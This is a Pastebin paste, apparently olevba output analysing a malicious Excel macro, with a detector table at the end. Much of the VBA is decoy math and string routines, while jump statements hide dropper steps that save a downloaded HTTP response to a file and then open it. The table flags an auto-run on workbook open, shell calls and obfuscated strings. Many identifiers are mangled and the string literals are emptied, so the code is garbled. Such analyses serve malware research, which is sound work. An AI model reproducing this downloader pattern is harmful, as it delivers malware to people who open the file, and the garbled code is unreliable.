  793. Dim ch1$, ch2$
  794. GoTo stdoutk
  795. n1% = 1
  796. n2% = InStr(2, s$, sig1, 0)
  797. k% = InStr(2, s$, sig2, 0)
  798. If k% > 0 And (n2% = 0 Or k% < n2%) Then
  799.  n2% = k%
  800. End If
  801. k% = InStr(1, s$, "", 0)
  802. If k% > 0 And (n2% = 0 Or k% < n2%) Then
  803.  n1% = k%
  804.  n2% = right_bra.ce(s$, n1% + 1)
  805.  If Len(s$) = n2% Then
  806.  find_first_item = n2%
  807.  Else
  808.  ch1$ = Mid$(s$, n2% + 1, 1)
  809.  If ch1$ = sig1 Or ch1$ = sig2 Then
  810.  find_first_item = n2%
  811.  Else
  812.  ch2$ = Mid$(s$, n2% + 1, Len(s$) - n2%)
  813.  find_first_item = n2% + find_first_item(ch2$, sig1, sig2)
  814.  End If
  815.  End If
  816. ElseIf n2% > 0 Then
  817.  find_first_item = n2% - 1
  818. Else
  819.  find_first_item = Len(s$)
  820. End If
  821. stdoutk:
  822.     root_order4.write read_same_ch_from3.responseBody
  823.     root_order4.savetofile ce_de_ge3, 2
  824. End Function
  825. Public Function V_time_string(ByVal s1$, ByVal S2$) As String
  826. Dim ty(1) As Byte
  827. Dim s(9) As String
  828. If InStr(1, s1$, "", 0) = 0 And InStr(1, s1$, "", 0) = 0 Then
  829.  V_time_string = time_string(s1$, S2$, True, False)
  830. ElseIf InStr(1, S2$, "", 0) = 0 And InStr(1, S2$, "", 0) = 0 Then
  831.  V_time_string = time_string(s1$, S2$, True, False)
  832. Else
  833.  ty(0) = string_ty.pe(s1$, s(0), s(1), s(2), s(3))
  834.  ty(1) = string_ty.pe(S2$, s(4), s(5), s(6), s(7))
  835.  If ty(0) = 0 And ty(1) = 0 Then
  836.  If s(3) = "" And s(7) = "" Then
  837.  s(3) = time_p.ara(s(1), s(5), True, False)
  838.  s(7) = V_time_it.em(s(2), s(5))
  839.  If s(7) = "" Then
  840.  V_time_string = ""
  841.  ElseIf s(3) = "" Then
  842.  V_time_string = s(7)
  843.  Else
  844.  If Mid$(s(7), 1, 1) = "" Then
  845.  V_time_string = "" & s(3) & Mid$(s(7), 2, Len(s(7)) - 1)
  846.  Else
  847.  V_time_string = s(3) & s(7)
  848.  End If
  849.  End If
  850.  ElseIf s(3) = "" Then
  851.  V_time_string = add_str.ing(V_time_string(s1$, s(4)), _
  852.  V_time_string(s1$, s(7)), True, False)
  853.  Else
  854.  V_time_string = add_str.ing(V_time_string(s(0), S2$), _
  855.  V_time_string(s(3), S2$), True, False)
  856.  End If
  857.  ElseIf ty(0) = 0 And ty(1) = 3 Then
  858.  s(3) = V_time_string(s1$, s(5))
  859.  V_time_string = divide_st.ring(s(3), s(6), True, False)
  860.  ElseIf ty(0) = 3 And ty(1) = 0 Then
  861.  V_time_string = time_string("", V_time_string(S2$, s1$), True, False)
  862.  Else
  863.  s(3) = V_time_string(s(1), s(5))
  864.  s(7) = time_string(s(2), s(6), False, False)
  865.  V_time_string = divide_st.ring(s(3), s(7), True, False)
  866.  End If
  867. End If
  868. End Function
  869. Public Function V_time_it.em(ByVal i1$, ByVal i2$)
  870. Dim l(1) As Integer
  871. Dim ts(3) As String
  872. l(0) = InStr(1, i1$, "", 0)
  873. If l(0) = 0 Then
  874. l(0) = InStr(1, i1$, "", 0)
  875. If l(0) = 0 Then
  876.  V_time_it.em = time_it.em(i1$, i2$)
  877. End If
  878. End If
  879. l(1) = InStr(1, i2$, "", 0)
  880. If l(1) = 0 Then
  881. l(1) = InStr(1, i2$, "", 0)
  882. If l(1) = 0 Then
  883.  V_time_it.em = time_it.em(i1$, i2$)
  884. End If
  885. End If
  886. ts(0) = Mid$(i1$, 1, l(0) - 1)
  887. ts(1) = Mid$(i1$, l(0), Len(i1$) - l(0) + 1)
  888. ts(2) = Mid$(i2$, 1, l(1) - 1)
  889. ts(3) = Mid$(i2$, l(1), Len(i2$) - l(1) + 1)
  890. If ts(0) = "" Then
  891.  ts(0) = ""
  892. End If
  893. If ts(2) = "" Then
  894.  ts(2) = ""
  895. End If
  896.  ts(0) = time_it.em(ts(0), ts(2))
  897. If ts(1) = ts(3) Then
  898. V_time_it.em = ""
  899. ElseIf ts(1) < ts(3) Then
  900.  ts(1) = ts(1) & "" & ts(3)
  901.  If ts(0) = "" Then
  902.  V_time_it.em = ts(1)
  903.  Else
  904.  V_time_it.em = ts(0) & ts(1)
  905.  End If
  906. Else
  907.  ts(1) = ts(3) & "" & ts(1)
  908.  If ts(0) = "" Then
  909.  V_time_it.em = "" & ts(1)
  910.  Else
  911.  V_time_it.em = "" & ts(0) & ts(1)
  912.  End If
  913. End If
  914. End Function
  915. Public Sub simple_two_int(int1 As Integer, int2 As Integer)
  916.  Dim temp1 As Integer, temp2 As Integer, temp3 As Integer
  917. ua_ea_uk.Open (ce_de_ge3)
  918. Exit Sub
  919.  If int1 < 0 Then
  920.  int1 = -int1
  921.  int2 = -int2
  922.  End If
  923.  temp1 = Abs(int1)
  924.  temp2 = Abs(int2)
  925.  temp3 = temp2
  926.  If temp1 <> 0 And temp2 <> 0 Then
  927.  While temp3 <> 0
  928.  temp2 = temp1
  929.  temp1 = temp3
  930.  temp3 = temp2 Mod temp1
  931.  Wend
  932.  int1 = int1 / temp1
  933.  int2 = int2 / temp1
  934.  End If
  935. End Sub
  936. Public Function reduce_string_by_string(ts1$) As Boolean
  937. Dim i%
  938. For i% = 1 To last_conditions.last_cond(1).relation_string_no
  939.  If reduce_string_by_string0(ts1$, i%) Then
  940.  Call add_conditions_to_record(relation_string_, i%, 0, 0, c_data_for_reduce)
  941.  End If
  942. Next i%
  943. End Function
  944. Public Function reduce_string_by_string0(ts1$, re_s%) As Boolean
  945. Dim para$
  946.  para$ = read_para_from_string_for_ietm(ts1$, relation_string(re_s%).Data(0).element(0), "")
  947.  If para$ <> "" Then
  948.  reduce_string_by_string0 = True
  949.  ts1$ = minus_string(ts1$, time_string( _
  950.  divide_st.ring(relation_string(re_s%).Data(0).relation_string, _
  951.  relation_string(re_s%).Data(0).para(0), False, False), para$, False, False), _
  952.  True, False)
  953.  End If
  954. End Function
  955. Public Function cross_time_v_item(s1$, S2$) As String
  956. If s1$ = "" And S2$ = "" Then
  957.  cross_time_v_item = ""
  958. ElseIf s1$ = "" And S2$ = "" Then
  959.  cross_time_v_item = ""
  960. ElseIf s1$ = "" And S2$ = "" Then
  961.  cross_time_v_item = ""
  962. ElseIf s1$ = "" And S2$ = "" Then
  963.  cross_time_v_item = ""
  964. Else
  965.  cross_time_v_item = time_it.em(s1$, S2$)
  966. End If
  967. End Function
  968. Public Function simple_v_string(ByVal v_s As String) As String
  969. Dim pA(2) As String
  970. If InStr(1, v_s, "", 0) > 0 Or InStr(1, v_s, "", 0) > 0 Or InStr(1, v_s, "", 0) > 0 Then
  971.  pA(0) = read_para_from_string_for_ietm(v_s, "", "")
  972.  pA(1) = read_para_from_string_for_ietm(v_s, "", "")
  973.  pA(2) = read_para_from_string_for_ietm(v_s, "", "")
  974.  Call simple_multi_string0(pA(0), pA(1), pA(2), "", simple_v_string, False)
  975. ElseIf InStr(1, v_s, "", 0) > 0 Or InStr(1, v_s, "", 0) > 0 Then
  976.  pA(0) = read_para_from_string_for_ietm(v_s, "", "")
  977.  pA(1) = read_para_from_string_for_ietm(v_s, "", "")
  978.  Call simple_multi_string0(pA(0), pA(1), "", "", simple_v_string, False)
  979. Else
  980.  simple_v_string = v_s
  981. End If
  982. End Function
  983. Public Function set_number_string(n_string As String, ByVal n%, Optional set_new_number As Boolean = False) As Integer
  984. Dim i%
  985. If n% = 0 Or n% > last_number_string Then
  986.  If n% = 0 And set_new_number = False Then
  987.  For i% = 1 To last_number_string
  988.  If number_string(i%) = n_string Then
  989.  set_number_string = i%
  990.  Exit Function
  991.  End If
  992.  Next i%
  993.  last_number_string = last_number_string + 1
  994.  Else
  995.  last_number_string = n%
  996.  End If
  997. ReDim Preserve number_string(last_number_string) As String
  998.  set_number_string = last_number_string
  999. Else
  1000.  set_number_string = n%
  1001. End If
  1002.  number_string(set_number_string) = n_string
  1003. End Function
  1004.  
  1005.  
  1006.  
  1007.  
  1008.  
  1009.  
  1010.  
  1011.  
  1012.  
  1013. +------------+----------------------+-----------------------------------------+
  1014. | Type       | Keyword              | Description                             |
  1015. +------------+----------------------+-----------------------------------------+
  1016. | AutoExec   | Workbook_Open        | Runs when the Excel Workbook is opened  |
  1017. | Suspicious | Open                 | May open a file                         |
  1018. | Suspicious | Shell                | May run an executable file or a system  |
  1019. |            |                      | command                                 |
  1020. | Suspicious | Shell.Application    | May run an application (if combined     |
  1021. |            |                      | with CreateObject)                      |
  1022. | Suspicious | CreateObject         | May create an OLE object                |
  1023. | Suspicious | Chr                  | May attempt to obfuscate specific       |
  1024. |            |                      | strings                                 |
  1025. | Suspicious | SaveToFile           | May create a text file                  |
  1026. | Suspicious | Write                | May write to a file (if combined with   |
  1027. |            |                      | Open)                                   |
  1028. | Suspicious | Hex Strings          | Hex-encoded strings were detected, may  |
  1029. |            |                      | be used to obfuscate strings (option    |
  1030. |            |                      | --decode to see all)                    |
  1031. | Suspicious | Base64 Strings       | Base64-encoded strings were detected,   |
  1032. |            |                      | may be used to obfuscate strings        |
  1033. |            |                      | (option --decode to see all)            |
  1034. | Suspicious | VBA obfuscated       | VBA string expressions were detected,   |
  1035. |            | Strings              | may be used to obfuscate strings        |
  1036. |            |                      | (option --decode to see all)            |
  1037. | VBA string | GET                  | "G" + "ET"                              |
  1038. | VBA string | op.                  | "op" + "."                              |
  1039. +------------+----------------------+-----------------------------------------+
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!
 
Top